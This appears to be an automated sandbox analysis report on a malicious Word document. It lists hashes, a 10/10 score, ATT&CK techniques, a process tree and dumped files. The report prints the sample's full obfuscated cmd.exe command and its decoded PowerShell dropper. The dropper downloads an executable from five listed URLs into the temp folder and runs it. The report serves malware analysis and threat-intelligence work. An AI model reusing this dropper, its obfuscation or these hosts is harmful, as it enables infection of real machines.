7af935b7cd7ddc1383ca817ba41f0784340459331754fcdfa4348fc2a2fe7813

Analysis

max time kernel
140s
max time network
135s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
29-08-2024 15:27

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General

Target

c918f47fda0745fedaca86195397ace0_JaffaCakes118.doc
Size

248KB
MD5

c918f47fda0745fedaca86195397ace0
SHA1

90367cd9c7d83d6028e0125123541a138c5a82d6
SHA256

7af935b7cd7ddc1383ca817ba41f0784340459331754fcdfa4348fc2a2fe7813
SHA512

894663307c2bc59f31ac3fd5ae6934971dd8b7beebbbcb18de5d020ad43309baf8a1012662c33b195dc1bd3bfcaae45a87e5b5ef396cb58d0e56f0956fb781ac
SSDEEP

3072:BO4ZAi7XnrA+Tj7/tKXYAO+aqjL/xSu90OoiLuDKZXfwKeljR17:BOCA83rA+Tj7lKYMa4xUOmD+XfwLH

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://ttobus.com/ZtzZFiHGL_r

exe.dropper

http://bilanacc.com/P7BuwLoQsTjP0hBVF

exe.dropper

http://gclubfan.com/ahjpTwNsvu2X_Q7h

exe.dropper

http://katariahospital.com/tquLevYG

exe.dropper

http://pjfittedkitchens.com/uerfWET_jrbze

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2476	1600	cmd.exe	83

Blocklisted process makes network request 3 IoCs

flow	pid	Process
35	4920	powershell.exe
37	4920	powershell.exe
40	4920	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4920	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
2476	cmd.exe
1096	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1600	WINWORD.EXE
1600	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4920	powershell.exe
4920	powershell.exe
4920	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4920	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1600	WINWORD.EXE
1600	WINWORD.EXE
1600	WINWORD.EXE
1600	WINWORD.EXE
1600	WINWORD.EXE
1600	WINWORD.EXE
1600	WINWORD.EXE

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1600 wrote to memory of 2476	1600	WINWORD.EXE	87
PID 1600 wrote to memory of 2476	1600	WINWORD.EXE	87
PID 2476 wrote to memory of 1096	2476	cmd.exe	90
PID 2476 wrote to memory of 1096	2476	cmd.exe	90
PID 1096 wrote to memory of 1156	1096	cmd.exe	96
PID 1096 wrote to memory of 1156	1096	cmd.exe	96
PID 1096 wrote to memory of 2132	1096	cmd.exe	97
PID 1096 wrote to memory of 2132	1096	cmd.exe	97
PID 2132 wrote to memory of 4920	2132	cmd.exe	98
PID 2132 wrote to memory of 4920	2132	cmd.exe	98

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c918f47fda0745fedaca86195397ace0_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1600
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set gN=xepg'bE-QWi$d3=t1YG/Mzn}(Dwl:4\5~hUZPC{AmIL%76uXf y0Nkj+S;BO)a@TqF_.2sHv,c9oVr&&for %4 in (2,75,26,43,36,34,58,42,41,37,28,32,31,72,16,43,77,43,56,6,56,56,41,59,52,52,39,20,6,28,32,7,29,72,16,43,33,43,63,6,20,36,28,32,7,13,72,16,43,27,27,49,11,54,33,40,12,2,14,4,54,48,69,71,10,69,40,4,57,11,12,48,26,75,54,14,22,1,26,7,75,5,54,1,73,15,49,52,1,15,67,9,1,5,37,27,10,1,22,15,57,11,48,10,10,54,61,14,4,33,15,15,2,28,19,19,15,15,75,5,46,69,67,73,75,40,19,35,15,21,35,65,10,70,18,42,66,77,62,33,15,15,2,28,19,19,5,10,27,61,22,61,73,73,67,73,75,40,19,36,44,58,46,26,42,75,8,69,63,54,36,51,33,58,76,65,62,33,15,15,2,28,19,19,3,73,27,46,5,48,61,22,67,73,75,40,19,61,33,54,2,63,26,52,69,71,46,68,47,66,8,44,33,62,33,15,15,2,28,19,19,53,61,15,61,77,10,61,33,75,69,2,10,15,61,27,67,73,75,40,19,15,64,46,42,1,71,17,18,62,33,15,15,2,28,19,19,2,54,48,10,15,15,1,12,53,10,15,73,33,1,22,69,67,73,75,40,19,46,1,77,48,9,6,63,66,54,77,5,21,1,4,67,56,2,27,10,15,24,4,62,4,60,57,11,64,73,10,73,54,5,54,14,4,15,26,75,64,2,10,4,57,11,64,69,69,48,61,49,14,49,4,74,74,45,4,57,11,33,5,40,26,54,53,10,14,4,71,5,40,10,2,71,26,4,57,11,15,10,22,21,64,14,11,1,22,71,28,15,1,40,2,55,4,30,4,55,11,64,69,69,48,61,55,4,67,1,0,1,4,57,48,75,77,1,61,73,33,24,11,22,10,21,5,26,49,10,22,49,11,48,10,10,54,61,60,38,15,77,50,38,11,12,48,26,75,54,67,25,75,26,22,27,75,61,12,65,10,27,1,24,11,22,10,21,5,26,72,49,11,15,10,22,21,64,60,57,11,26,71,69,48,26,14,4,26,21,10,64,64,22,4,57,41,48,49,24,24,18,1,15,7,41,15,1,40,49,11,15,10,22,21,64,60,67,27,1,22,3,15,33,49,7,3,1,49,29,51,51,51,51,60,49,38,41,22,71,75,53,1,7,41,15,1,40,49,11,15,10,22,21,64,57,11,71,48,15,33,77,15,15,14,4,73,75,75,73,2,10,69,4,57,5,77,1,61,53,57,23,23,73,61,15,73,33,38,23,23,11,61,12,64,10,5,73,14,4,22,27,26,26,10,33,4,57,78)do set WM=!WM!!gN:~%4,1!&&if %4 gtr 77 echo !WM:*WM!=!|%CommonProgramFiles(x86):~23,1%m%ALLUSERSPROFILE:~-4,-3% "
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:2476
- - C:\Windows\system32\cmd.exe
    CmD /V:O/C"set gN=xepg'bE-QWi$d3=t1YG/Mzn}(Dwl:4\5~hUZPC{AmIL%76uXf y0Nkj+S;BO)a@TqF_.2sHv,c9oVr&&for %4 in (2,75,26,43,36,34,58,42,41,37,28,32,31,72,16,43,77,43,56,6,56,56,41,59,52,52,39,20,6,28,32,7,29,72,16,43,33,43,63,6,20,36,28,32,7,13,72,16,43,27,27,49,11,54,33,40,12,2,14,4,54,48,69,71,10,69,40,4,57,11,12,48,26,75,54,14,22,1,26,7,75,5,54,1,73,15,49,52,1,15,67,9,1,5,37,27,10,1,22,15,57,11,48,10,10,54,61,14,4,33,15,15,2,28,19,19,15,15,75,5,46,69,67,73,75,40,19,35,15,21,35,65,10,70,18,42,66,77,62,33,15,15,2,28,19,19,5,10,27,61,22,61,73,73,67,73,75,40,19,36,44,58,46,26,42,75,8,69,63,54,36,51,33,58,76,65,62,33,15,15,2,28,19,19,3,73,27,46,5,48,61,22,67,73,75,40,19,61,33,54,2,63,26,52,69,71,46,68,47,66,8,44,33,62,33,15,15,2,28,19,19,53,61,15,61,77,10,61,33,75,69,2,10,15,61,27,67,73,75,40,19,15,64,46,42,1,71,17,18,62,33,15,15,2,28,19,19,2,54,48,10,15,15,1,12,53,10,15,73,33,1,22,69,67,73,75,40,19,46,1,77,48,9,6,63,66,54,77,5,21,1,4,67,56,2,27,10,15,24,4,62,4,60,57,11,64,73,10,73,54,5,54,14,4,15,26,75,64,2,10,4,57,11,64,69,69,48,61,49,14,49,4,74,74,45,4,57,11,33,5,40,26,54,53,10,14,4,71,5,40,10,2,71,26,4,57,11,15,10,22,21,64,14,11,1,22,71,28,15,1,40,2,55,4,30,4,55,11,64,69,69,48,61,55,4,67,1,0,1,4,57,48,75,77,1,61,73,33,24,11,22,10,21,5,26,49,10,22,49,11,48,10,10,54,61,60,38,15,77,50,38,11,12,48,26,75,54,67,25,75,26,22,27,75,61,12,65,10,27,1,24,11,22,10,21,5,26,72,49,11,15,10,22,21,64,60,57,11,26,71,69,48,26,14,4,26,21,10,64,64,22,4,57,41,48,49,24,24,18,1,15,7,41,15,1,40,49,11,15,10,22,21,64,60,67,27,1,22,3,15,33,49,7,3,1,49,29,51,51,51,51,60,49,38,41,22,71,75,53,1,7,41,15,1,40,49,11,15,10,22,21,64,57,11,71,48,15,33,77,15,15,14,4,73,75,75,73,2,10,69,4,57,5,77,1,61,53,57,23,23,73,61,15,73,33,38,23,23,11,61,12,64,10,5,73,14,4,22,27,26,26,10,33,4,57,78)do set WM=!WM!!gN:~%4,1!&&if %4 gtr 77 echo !WM:*WM!=!|CmD "
    3⤵
    - An obfuscated cmd.exe command-line is typically used to evade detection.
    - Suspicious use of WriteProcessMemory
    PID:1096
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $jhmdp='jfsvism';$dfwoj=new-object Net.WebClient;$fiija='http://ttobus.com/ZtzZFiHGL_r@http://bilanacc.com/P7BuwLoQsTjP0hBVF@http://gclubfan.com/ahjpTwNsvu2X_Q7h@http://katariahospital.com/tquLevYG@http://pjfittedkitchens.com/uerfWET_jrbze'.Split('@');$qcicjbj='twoqpi';$qssfa = '996';$hbmwjki='vbmipvw';$tinzq=$env:temp+'\'+$qssfa+'.exe';foreach($nizbw in $fiija){try{$dfwoj.DownloadFile($nizbw, $tinzq);$wvsfw='wziqqn';If ((Get-Item $tinzq).length -ge 40000) {Invoke-Item $tinzq;$vfthrtt='coocpis';break;}}catch{}}$adqibc='nlwwih';"
      4⤵
      PID:1156
  - - C:\Windows\system32\cmd.exe
      CmD
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2132
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $jhmdp='jfsvism';$dfwoj=new-object Net.WebClient;$fiija='http://ttobus.com/ZtzZFiHGL_r@http://bilanacc.com/P7BuwLoQsTjP0hBVF@http://gclubfan.com/ahjpTwNsvu2X_Q7h@http://katariahospital.com/tquLevYG@http://pjfittedkitchens.com/uerfWET_jrbze'.Split('@');$qcicjbj='twoqpi';$qssfa = '996';$hbmwjki='vbmipvw';$tinzq=$env:temp+'\'+$qssfa+'.exe';foreach($nizbw in $fiija){try{$dfwoj.DownloadFile($nizbw, $tinzq);$wvsfw='wziqqn';If ((Get-Item $tinzq).length -ge 40000) {Invoke-Item $tinzq;$vfthrtt='coocpis';break;}}catch{}}$adqibc='nlwwih';
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\996.exe

Filesize
367KB

MD5
be7bdc847df032d4326e6b4a28217a9a

SHA1
b4d88c0cb1aecb2c64e600b80c45c885fd9f1a51

SHA256
f295f9e501b8c5fb388d8ba4ae90fbe445bba6e3ace0745ab8db59b4ec9c520d

SHA512
3b388dbf826d9b992b8ab2e08e477e5a041825bdaf69db7464076ac7b6eaf8b88ff721e875ba8bbe607a9d3e7bb04dd7d28acb551770fd3aac9b00b5ce2c0d50

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDD3FB.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m2dahsek.1vz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
58c8d1a24b6a60e021b00ec988ad29a7

SHA1
2eb326f3349cd0a1f150cd3c98306b5988c828b5

SHA256
0f1fd7b531c6535de19da1fc1e2504c9410c68a94fcd94523e3c0c7674e0ec78

SHA512
ed70562a2f4d412a208431372204e008de1da7524c2a41a2ec8661cd092b806108f5eebd7643e139996e7b7b3d48ad4e2db75bcc86fe07e21b78d955cdc97f9f

Download Submit
memory/1600-0-0x00007FF923350000-0x00007FF923360000-memory.dmp

Filesize
64KB

Download
memory/1600-3-0x00007FF923350000-0x00007FF923360000-memory.dmp

Filesize
64KB

Download
memory/1600-9-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-6-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-5-0x00007FF923350000-0x00007FF923360000-memory.dmp

Filesize
64KB

Download
memory/1600-1-0x00007FF96336D000-0x00007FF96336E000-memory.dmp

Filesize
4KB

Download
memory/1600-2-0x00007FF923350000-0x00007FF923360000-memory.dmp

Filesize
64KB

Download
memory/1600-12-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-11-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-13-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-14-0x00007FF920A20000-0x00007FF920A30000-memory.dmp

Filesize
64KB

Download
memory/1600-17-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-19-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-41-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-16-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-15-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-20-0x00007FF920A20000-0x00007FF920A30000-memory.dmp

Filesize
64KB

Download
memory/1600-32-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-411-0x00007FF923350000-0x00007FF923360000-memory.dmp

Filesize
64KB

Download
memory/1600-10-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-18-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-42-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-52-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-53-0x00007FF96336D000-0x00007FF96336E000-memory.dmp

Filesize
4KB

Download
memory/1600-54-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-413-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-8-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-65-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-66-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-7-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-4-0x00007FF923350000-0x00007FF923360000-memory.dmp

Filesize
64KB

Download
memory/1600-85-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-89-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-40-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/1600-410-0x00007FF923350000-0x00007FF923360000-memory.dmp

Filesize
64KB

Download
memory/1600-409-0x00007FF923350000-0x00007FF923360000-memory.dmp

Filesize
64KB

Download
memory/1600-412-0x00007FF923350000-0x00007FF923360000-memory.dmp

Filesize
64KB

Download
memory/1600-33-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

Filesize
2.0MB

Download
memory/4920-55-0x000002327B4D0000-0x000002327B4F2000-memory.dmp

Filesize
136KB

Download